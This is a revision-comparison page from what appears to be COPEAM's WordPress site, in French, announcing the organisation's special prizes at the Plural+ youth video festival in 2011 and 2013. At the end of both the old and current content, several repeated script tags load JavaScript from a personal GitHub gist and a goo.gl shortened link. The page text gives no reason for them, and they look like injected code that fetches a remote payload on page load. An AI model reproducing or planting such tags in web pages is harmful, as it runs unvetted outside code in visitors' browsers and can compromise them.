You are viewing an old revision of this post, from December 6, 2012 @ 15:44:04. See below for differences between this version and the current revision.
New York, 10 novembre 2011
La cérémonie de remise des prix PLURAL+ aux vidéos gagnantes a eu lieu au Paley Center for Media à New York, le 10 novembre 2011.
A cette occasion, la COPEAM a remis un prix spécial à « Faith in London », de Tariq Chowhdury, avec la motivation suivante :
« La COPEAM se réjouit de primer Faith in London de Tariq Chowhdury (Royaume-Uni), dans la catégorie 18-25 du Festival Plural+ 2011, pour la fraîcheur et la beauté par lesquelles l’auteur traite un sujet aussi sensible que la religion, avec originalité mais simplicité. Une vidéo prometteuse, ouverte à l’espoir et au dialogue, impressionnant le spectateur grâce à ces images suggestives».
Regardez la vidéo
Le réalisateur gagnant sera invité à la Conférence annuelle de la COPEAM en 2012, au Maroc, pour présenter son œuvre à tous les participants de cet événement.
Lisez le communniqué de presse
Changes:
| December 6, 2012 @ 15:44:04 | Current Revision | ||
|---|---|---|---|
| Title | |||
| Prix spécial COPEAM pour Plural+ Festival | La COPEAM et l’Alliance des Civilisations des Nations Unies partenaires pour le Festival Plural+ | ||
| Content | |||
|---|---|---|---|
| <p> | <p> | ||
| <br /> | |||
| <em>New York, 10 <span data-scayt_word="novembre" data-scaytid= "444">novembre</span> 2011</em></p> | <span data-scayt_word="Depuis" data-scaytid= "1">Depuis</span> 2009, la <span data-scayt_word="COPEAM" data-scaytid= "2">COPEAM</span> et <span data-scayt_word= "l’Alliance" data-scaytid= "3">l’<strong>Alliance< /strong></span><strong> des <span data-scayt_word= "Civilisations" data-scaytid= "4">Civilisations</span> des Nations <span data-scayt_word="Unies" data-scaytid= "5">Unies</span> (<span data-scayt_word="UNAOC" data-scaytid= "6">UNAOC</span>)</strong> <span data-scayt_word="ont" data-scaytid= "7">ont</span> <span data-scayt_word="signé" data-scaytid= "8">signé</span> un accord de <span data-scayt_word= "partenariat" data-scaytid= "9">partenariat</span> pour le <strong>Festival Plural+</strong>. Il <span data-scayt_word= "s’agit" data-scaytid= "10">s’agit</span> <span data-scayt_word= "d’un" data-scaytid= "11">d’un</span> Festival de <span data-scayt_word="vidéos" data-scaytid= "12">vidéos</span> <span data-scayt_word= "réalisées" data-scaytid= "13">réalisées</span> par des <span data-scayt_word="jeunes" data-scaytid= "14">jeunes</span>, <span data-scayt_word="explorant" data-scaytid= "15">explorant</span> les <span data-scayt_word="thèmes" data-scaytid= "16">thèmes</span> <span data-scayt_word="liés" data-scaytid= "17">liés</span> <span data-scayt_word="à " data-scaytid= "18">à</span> la migration et <span data-scayt_word="à " data-scaytid= "19">à</span> la <span data-scayt_word= "diversité" data-scaytid= "20">diversité</span>. Il <span data-scayt_word="est" data-scaytid= "21">est</span> <span data-scayt_word= "organisé" data-scaytid= "22">organisé</span> par <span data-scayt_word= "l’UNAOC" data-scaytid= "23">l’UNAOC</span> en collaboration <span data-scayt_word="avec" data-scaytid= "24">avec</span> <span data-scayt_word= "l’Organisation" data-scaytid= "25">l’Organisation</span> <span data-scayt_word= "Internationale" data-scaytid= "26">Internationale</span> pour la Migration et <span data-scayt_word= "d’autres" data-scaytid= "27">d’autres</span> <span data-scayt_word= "partenaires" data-scaytid= "28">partenaires</span> <span data-scayt_word= "internationaux" data-scaytid= "29">internationaux</span>.<br /> | ||
| <span data-scayt_word="Ce" data-scaytid= "36">Ce</span> Festival [<span data-scayt_word="vidéo" data-scaytid= "37">vidéo</span>] vise <span data-scayt_word="à " data-scaytid= "30">à</span> la reconnaissance des <span data-scayt_word="jeunes" data-scaytid= "32">jeunes</span> en <span data-scayt_word="tant" data-scaytid= "42">tant</span> <span data-scayt_word= "qu’acteurs" data-scaytid= "43">qu’acteurs</span> du <span data-scayt_word= "changement" data-scaytid= "44">changement</span> social et <span data-scayt_word="à " data-scaytid= "31">à</span> <span data-scayt_word="leur" data-scaytid= "45">leur</span> implication en <span data-scayt_word="posant" data-scaytid= "47">posant</span> des questions <span data-scayt_word="sur" data-scaytid= "48">sur</span> <span data-scayt_word= "l’intégration" data-scaytid= "49">l’intégration</span> des migrants, <span data-scayt_word= "l’inclusivité" data-scaytid= "51">l’inclusivité</span>, <span data-scayt_word= "l’identité" data-scaytid= "52">l’identité</span>, la <span data-scayt_word= "diversité" data-scaytid= "34">diversité</span>, les <span data-scayt_word="droits" data-scaytid= "54">droits</span> de <span data-scayt_word= "l’Homme" data-scaytid= "55">l’Homme</span> et <span data-scayt_word= "l’intégration" data-scaytid= "50">l’intégration</span> <span data-scayt_word="sociale" data-scaytid= "56">sociale</span>. De plus, en <span data-scayt_word= "récompensant" data-scaytid= "57">récompensant</span> des <span data-scayt_word="produits" data-scaytid= "58">produits</span> amateurs et non <span data-scayt_word= "professionnels" data-scaytid= "59">professionnels</span>, <span data-scayt_word="cette" data-scaytid= "60">cette</span> initiative <span data-scayt_word= "représente" data-scaytid= "61">représente</span> <span data-scayt_word="une" data-scaytid= "62">une</span> <span data-scayt_word= "opportunité" data-scaytid= "63">opportunité</span> <span data-scayt_word= "intéressante" data-scaytid= "64">intéressante</span> pour <span data-scayt_word="stimuler" data-scaytid= "65">stimuler</span> la <span data-scayt_word= "créativité" data-scaytid= "66">créativité</span> et <span data-scayt_word= "l’implication" data-scaytid= "67">l’implication</span> des <span data-scayt_word="jeunes" data-scaytid= "33">jeunes</span>, <span data-scayt_word="leur" data-scaytid= "46">leur</span> <span data-scayt_word= "permettant" data-scaytid= "68">permettant</span> <span data-scayt_word="d'entrer" data-scaytid= "69">d'entrer</span> en contact <span data-scayt_word="avec" data-scaytid= "35">avec</span> le <span data-scayt_word="langage" data-scaytid= "71">langage</span> <span data-scayt_word= "audiovisuel" data-scaytid= "72">audiovisuel</span>.</p> | |||
| <p> | <p> | ||
| <img alt="" src="http://www.copeam.org/ userfiles/image/ plural%20plus9.JPG" style="width: 159px; height: 120px; float: left;" />La <span data-scayt_word= "cérémonie" data-scaytid= "445">cé rémonie</span> de remise des prix PLURAL+ aux <span data-scayt_word="vidéos" data-scaytid= "113">vidéos</span> <span data-scayt_word="gagnantes" data-scaytid= "447">gagnantes</span> a <span data-scayt_word="eu" data-scaytid= "448">eu</span> lieu au <span data-scayt_word="Paley" data-scaytid= "449">Paley</span> Center for Media <span data-scayt_word="à " data-scaytid= "114">à</span> New York, le 10 <span data-scayt_word="novembre" data-scaytid= "452">novembre</span> 2011. <br /> | |||
| <br /> | <br /> | ||
| A <span data-scayt_word="cette" data-scaytid= "453">cette</span> occasion, la <span data-scayt_word="COPEAM" data-scaytid= "454">COPEAM</span> a <span data-scayt_word="remis" data-scaytid= "455">remis</span> un prix <span data-scayt_word= "spécial" data-scaytid= "456">spécial</span> <span data-scayt_word="à " data-scaytid= "451">à</span> « Faith in London », de Tariq <span data-scayt_word="Chowhdury" data-scaytid= "457">Chowhdury</span>, <span data-scayt_word="avec" data-scaytid= "458">avec</span> la motivation <span data-scayt_word="suivante" data-scaytid= "459">suivante</span> :<br /> | <span style="font-size: 14px;"><span style="color: #006400;"><strong>A LA <span data-scayt_word="UNE" data-scaytid= "73">UNE</span> </strong></span></span></p> | ||
| « La <span data-scayt_word="COPEAM" data-scaytid= "460">COPEAM</span> se <span data-scayt_word= "réjouit" data-scaytid= "461">ré jouit</span> de primer Faith in London de Tariq <span data-scayt_word="Chowhdury" data-scaytid= "462">Chowhdury</span> (<span data-scayt_word= "Royaume-Uni" data-scaytid= "463">Royaume- Uni</span>), <span data-scayt_word="dans" data-scaytid= "464">dans</span> la <span data-scayt_word= "catégorie" data-scaytid= "465">caté gorie</span> 18-25 du Festival Plural+ 2011, pour la <span data-scayt_word= "fraîcheur" data-scaytid= "466">fraî cheur</span> et la <span data-scayt_word="beauté" data-scaytid= "467">beauté</span> par <span data-scayt_word= "lesquelles" data-scaytid= "468">lesquelles</span> <span data-scayt_word= "l’auteur" data-scaytid= "469">l’ auteur</span> <span data-scayt_word="traite" data-scaytid= "470">traite</span> un <span data-scayt_word="sujet" data-scaytid= "471">sujet</span> <span data-scayt_word="aussi" data-scaytid= "472">aussi</span> sensible <span data-scayt_word="que" data-scaytid= "473">que</span> la religion, <span data-scayt_word="avec" data-scaytid= "474">avec</span> <span data-scayt_word= "originalité" data-scaytid= "475">originalité</span> <span data-scayt_word="mais" data-scaytid= "476">mais</span> <span data-scayt_word= "simplicité" data-scaytid= "477">simplicité</span>. <span data-scayt_word="Une" data-scaytid= "478">Une</span> <span data-scayt_word="vidéo" data-scaytid= "479">vidéo</span> <span data-scayt_word= "prometteuse" data-scaytid= "481">prometteuse</span>, <span data-scayt_word="ouverte" data-scaytid= "482">ouverte</span> <span data-scayt_word="à " data-scaytid= "483">à</span> <span data-scayt_word= "l’espoir" data-scaytid= "515">l’ espoir</span> et au <span data-scayt_word="dialogue" data-scaytid= "485">dialogue</span>, <span data-scayt_word= "impressionnant" data-scaytid= "517">impressionnant</span> le <span data-scayt_word= "spectateur" data-scaytid= "486">spectateur</span> <span data-scayt_word="grâce" data-scaytid= "487">grâce</span> <span data-scayt_word="à " data-scaytid= "484">à</span> <span data-scayt_word="ces" data-scaytid= "488">ces</span> images <span data-scayt_word= "suggestives" data-scaytid= "489">suggestives< /span>».</p> | |||
| <p> | <p> | ||
| <strong>PLURAL+ 2013</strong></p> | |||
| <div style="text-align: justify;">Pour la 4ème année la COPEAM est partenaire média de l'Alliance des Civilisations de l'ONU pour l'édition 2013 du festival Plural + . L'initiative, organisée par UNAOC en collaboration avec l'Organisation Internationale pour les Migrations et d'autres partenaires internationaux, est dédié aux vidéos de jeunes qui explorent les questions liées à la migration et la diversité.<br />Cette année PLURAL + a reçu plus de 250 vidéos de 71 pays . Vingt-cinq vidéos ont été sélectionnés pour les prix .<br />La cérémonie de remise des prix de Plural+ a eu lieu au Paley Center for Media le 5 décembre 2013 à New York.<br />Le prix spécial COPEAM a été attribué à la vidéo «Diversity» avec la motivation suivante :</div><div style="text-align: justify;">Cette vidéo a été retenue par la COPEAM pour la créativité montrée par l’auteur, Bernhard Wenger, à traiter les thèmes de la diversité et de l'internationalité que l’on retrouve dans toutes nos actions, dans notre nourriture, dans nos vêtements, dans notre quotidien, mais que l’on refuse souvent quand ça concerne l’être humain. L'angle adopté a été jugé très particulier, en raison de sa capacité à égaler l’efficacité d'une campagne publicitaire télé.</div><div style="text-align: justify;"><a href="http:// www.youtube.com/ watch?feature= player_embedded&v= 1CsjWY1QMJ4"><br /><strong>Cliquez ici pour regarder la vidéo du prix spécial COPEAM</strong> </a></div><div style="text-align: justify;"><strong><a href="http:// pluralplus.unaoc.org/winning- videos/plural-2013/"><br />Cliquez ici pour voir les vidéos gagnantes</a> </strong></div> <p><strong><a href="http:// pluralplus.unaoc.org/partners/" style="font-size: 14px; line-height: 1.5em;"><span style="color: #0000ff;">Partenaires< /span></a></strong></p> | |||
| <table border="0" cellpadding="1" cellspacing="1" style="width: 340px; height: 61px;"> | |||
| <tbody> | |||
| <tr> | |||
| <td> | |||
| <a href="http:// www.youtube.com/ watch?v=MKGlFx3YJ0I& list=PL0B0B28B1F23B215C& index=20& feature=plpp_ video"><span style="color: #0000cd;"><u> <strong><span data-scayt_word="Regardez" data-scaytid= "522">Regardez</span> la <span data-scayt_word="vidéo" data-scaytid= "480">vidéo</span> </strong></u> </span></a><br /> | <a href="http:// www.unaoc.org/ pluralplus/" target="_blank"><img alt="" src="../../userfiles/ image/plura+_banner.jpg" style="width: 160px; height: 32px;" /></a></td> | ||
| <td> | |||
| </td> | |||
| < | </tr> | ||
| Le <span data-scayt_word= "réalisateur" data-scaytid= "530">ré alisateur</span> <span data-scayt_word="gagnant" data-scaytid= "531">gagnant</span> sera <span data-scayt_word="invité" data-scaytid= "523">invité</span> <span data-scayt_word="à " data-scaytid= "524">à</span> la <span data-scayt_word= "Conférence" data-scaytid= "526">Confé rence</span> <span data-scayt_word="annuelle" data-scaytid= "527">annuelle</span> de la <span data-scayt_word="COPEAM" data-scaytid= "528">COPEAM</span> en 2012, au <span data-scayt_word="Maroc" data-scaytid= "538">Maroc</span>, pour <span data-scayt_word= "présenter" data-scaytid= "529">pré senter</span> son <span data-scayt_word="Å“uvre" data-scaytid= "540">œuvre</span> <span data-scayt_word="à " data-scaytid= "525">à</span> <span data-scayt_word="tous" data-scaytid= "541">tous</span> les participants de <span data-scayt_word="cet" data-scaytid= "542">cet</span> <span data-scayt_word= "événement" data-scaytid= "543">é vénement</span>.</p> | |||
| </tbody> | |||
| <p style="text-align: left;"> | </table> | ||
| <span style="color: rgb(0, 0, 205);"><u><strong><a style="color: rgb(0, 0, 255);"><span><span data-scayt_word="Lisez" data-scaytid= "544">Lisez</ span></span> </a></strong> </u></span><span style="color: #0000cd;"><u><strong><a style="color: rgb(0, 0, 255);"> le </a></strong> </u></span><span style="color: rgb(0, 0, 205);"><u><strong><span><span data-scayt_word= "communniqué" data-scaytid= "545">communniqué< /span></span> de <span data-scayt_word="presse" data-scaytid= "87">presse</ span></strong> </u></span></p> | |||
| <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | ||
Note: Spaces may be added to comparison text to allow better line wrapping.